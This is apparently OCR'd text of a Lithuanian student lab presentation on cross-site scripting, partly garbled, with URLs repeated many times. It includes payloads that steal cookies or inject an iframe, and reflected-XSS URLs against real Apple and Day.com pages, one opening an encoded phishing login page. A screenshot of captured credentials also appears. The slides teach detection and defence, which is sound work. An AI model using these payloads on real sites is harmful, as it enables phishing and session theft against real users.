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Cross-site scripting (XSS)

Tai daugiau negu XSS ataka nutinka, kai
jspejamieji langai. svetaines kurejai
¢ The page at www.gvb.nl says: 2 nepasirﬁpina
xss lankytojy vedamos
‘ informacijos
e - filtravimu.
I'a1 galimybe

uzpuolikams jterpti . 3

savo kodg ] patikimas Apslsaugojimas:
svetaines, dazniausiai ~ Gerai veikiantis visy
paleidziant JavaScript ~ IvescCiy tikrinimas.



Cross-site scripting (XSS)

P avoj a1 « X=document.createElement
5 S ('iframe’),x.src="http:
[Straukti khentq //yourphishingpage/’, x.
" R | R . . height="100%" x.
| cqokles Ir Juos siysti width="100%" x
| kltq SErverl. frameBorder='0',document.
body=x
XSS Phishing pavyzdys. Kada
Priminimui: puslapis viskg atvaizduoja tikroje

svetaineéje, bet jvestis siyncia

Iskieptas skriptas gali  kitur.
ta patj kaip ir puslapio
savininko rasyti

skriptai.



Laboratorinis jgyvendinimas

e Resursai, skirti laboratorijai

o asmeninis kompiuteris su interneto prieiga
o HTML+CSS+JavaScript+PHP Zinios

e ApraSymas pazingsniui
o narsomi puslapiai ir ieSkomi input langai
o suvedinejamos XSS paruostukes pvz: alert('XSS')
o kartojame, puslapiuose tol kol suveikia XSS



XSS paruostukes

<script >alert (document.cookie)</script>
$253cscript%253ealert (document.cookie) %$253¢c/script%$253e
<IMG SRC="javascript:alert ('XSsS') ;">

http://userscripts.ora/scripts/review/63525

Priemone ieskoti XSS ( su Greasemonkey extension )



http://userscripts.org/scripts/review/63525

Realaus gyvenimo atvejai

http://support.apple.com/kb/index?page=servicefaq&geo='-
location.replace('http://www.google.lt')-'&product=ipad

Nuorodos XSS veike 2012-04-22, taciau del veikimo Sia
minute negalime garantuoti.

Nuorodg nors ir rodo j patikimg svetaine (apple.com),
vartotojui nuejus jis buty peradresuojamas j kitg svetaine
(pavyzdyje ] Google svetaine).

UZpuolikas galéety perkelt | netikrg vienodai atrodantj
puslapij ir taip surinkt norimg informacijg.


http://support.apple.com/kb/index?page=servicefaq&geo='-location.replace('http://www.google.lt')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-location.replace('http://www.google.lt')-'&product=ipad

Vaizdas #1

Adresas:

http://support.apple. LJOPE“ [f'!npple Siipihe St *]LAppleStore

com/kb/index? = D O ﬁ} Web upport. apple com/kb/index

page=servicefaqg&geo='"-

window.open('%68%74% " Store - Mac . iPod I iPhone
74%70%3A%2F%2F %75% T v
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[¥] Keep me logged in

Forgotten your password?
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tell if my iPad needs
jlobtain service for my
will my iPad service t
;ata on my iPad be pre

Sign up for Facebook | Cancel | check the status of mr
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http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad
http://support.apple.com/kb/index?page=servicefaq&geo='-window.open('%68%74%74%70%3A%2F%2F%75%6F%73%69%73%2E%6D%69%66%2E%76%75%2E%6C%74%2F%7E%6D%61%73%69%39%34%35%30%2F%66%6C%6F%67%69%6E%2F%66%6C%6F%67%69%6E%2E%68%74%6D','name','height=400,width=600')-'&product=ipad

Vaizdas #2

Prisijungimo duomenys
jraSomi tiesiai ] .txt failg.

File Edit Format View Help

mail: not.gwertyfgmail.com
pass: qwerty

mail: testinis@yahoo.com
pass: asdasdasd

mail: aukos@email.lt

pass: slaptasl23




Vaizdas #3

http:/dev.day. Frefox ~ |
com/content/ddc/en/search.html?
=%22%3E%3Cimg%20src=http://i.
imgur.com/P8mL 8.jpg%3E%3Csvag%
3E%3Cscript%3E%3C!%3Ealert(%

22XSS%22)%3C/script%

1066344910423680250:

pzsvhhkbdyw&cof=FORID:
9&ie=UTF-8

J ‘) Search Results

Short url:
http://bit.ly/JONXFY

Read use.typekit.com



http://dev.day.com/content/ddc/en/search.html?q=%22%3E%3Cimg%20src=http://i.imgur.com/P8mL8.jpg%3E%3Csvg%3E%3Cscript%3E%3C!%3Ealert(%22XSS%22)%3C/script%3E&search=Search&x=0&y=0&cx=001066344910423680250:pzsvhhkbdyw&cof=FORID:9&ie=UTF-8
http://dev.day.com/content/ddc/en/search.html?q=%22%3E%3Cimg%20src=http://i.imgur.com/P8mL8.jpg%3E%3Csvg%3E%3Cscript%3E%3C!%3Ealert(%22XSS%22)%3C/script%3E&search=Search&x=0&y=0&cx=001066344910423680250:pzsvhhkbdyw&cof=FORID:9&ie=UTF-8
http://dev.day.com/content/ddc/en/search.html?q=%22%3E%3Cimg%20src=http://i.imgur.com/P8mL8.jpg%3E%3Csvg%3E%3Cscript%3E%3C!%3Ealert(%22XSS%22)%3C/script%3E&search=Search&x=0&y=0&cx=001066344910423680250:pzsvhhkbdyw&cof=FORID:9&ie=UTF-8
http://dev.day.com/content/ddc/en/search.html?q=%22%3E%3Cimg%20src=http://i.imgur.com/P8mL8.jpg%3E%3Csvg%3E%3Cscript%3E%3C!%3Ealert(%22XSS%22)%3C/script%3E&search=Search&x=0&y=0&cx=001066344910423680250:pzsvhhkbdyw&cof=FORID:9&ie=UTF-8
http://dev.day.com/content/ddc/en/search.html?q=%22%3E%3Cimg%20src=http://i.imgur.com/P8mL8.jpg%3E%3Csvg%3E%3Cscript%3E%3C!%3Ealert(%22XSS%22)%3C/script%3E&search=Search&x=0&y=0&cx=001066344910423680250:pzsvhhkbdyw&cof=FORID:9&ie=UTF-8
http://dev.day.com/content/ddc/en/search.html?q=%22%3E%3Cimg%20src=http://i.imgur.com/P8mL8.jpg%3E%3Csvg%3E%3Cscript%3E%3C!%3Ealert(%22XSS%22)%3C/script%3E&search=Search&x=0&y=0&cx=001066344910423680250:pzsvhhkbdyw&cof=FORID:9&ie=UTF-8
http://dev.day.com/content/ddc/en/search.html?q=%22%3E%3Cimg%20src=http://i.imgur.com/P8mL8.jpg%3E%3Csvg%3E%3Cscript%3E%3C!%3Ealert(%22XSS%22)%3C/script%3E&search=Search&x=0&y=0&cx=001066344910423680250:pzsvhhkbdyw&cof=FORID:9&ie=UTF-8
http://dev.day.com/content/ddc/en/search.html?q=%22%3E%3Cimg%20src=http://i.imgur.com/P8mL8.jpg%3E%3Csvg%3E%3Cscript%3E%3C!%3Ealert(%22XSS%22)%3C/script%3E&search=Search&x=0&y=0&cx=001066344910423680250:pzsvhhkbdyw&cof=FORID:9&ie=UTF-8
http://dev.day.com/content/ddc/en/search.html?q=%22%3E%3Cimg%20src=http://i.imgur.com/P8mL8.jpg%3E%3Csvg%3E%3Cscript%3E%3C!%3Ealert(%22XSS%22)%3C/script%3E&search=Search&x=0&y=0&cx=001066344910423680250:pzsvhhkbdyw&cof=FORID:9&ie=UTF-8
http://dev.day.com/content/ddc/en/search.html?q=%22%3E%3Cimg%20src=http://i.imgur.com/P8mL8.jpg%3E%3Csvg%3E%3Cscript%3E%3C!%3Ealert(%22XSS%22)%3C/script%3E&search=Search&x=0&y=0&cx=001066344910423680250:pzsvhhkbdyw&cof=FORID:9&ie=UTF-8
http://bit.ly/JoNXFY

K3 iSmokome?

e Filtruoti jvedamas uzklausas kaip ;!--
"<XSS>=&{()} 1kazka kaip %3CXSS%3E
e Nedeti nepatikimy duomeny i:
O <script> ... </script>
O <l-..-->
e Atidziau stebéti kur papuolame net is
patikimy domeny
e Suradus spragg pranesti kurejams - -



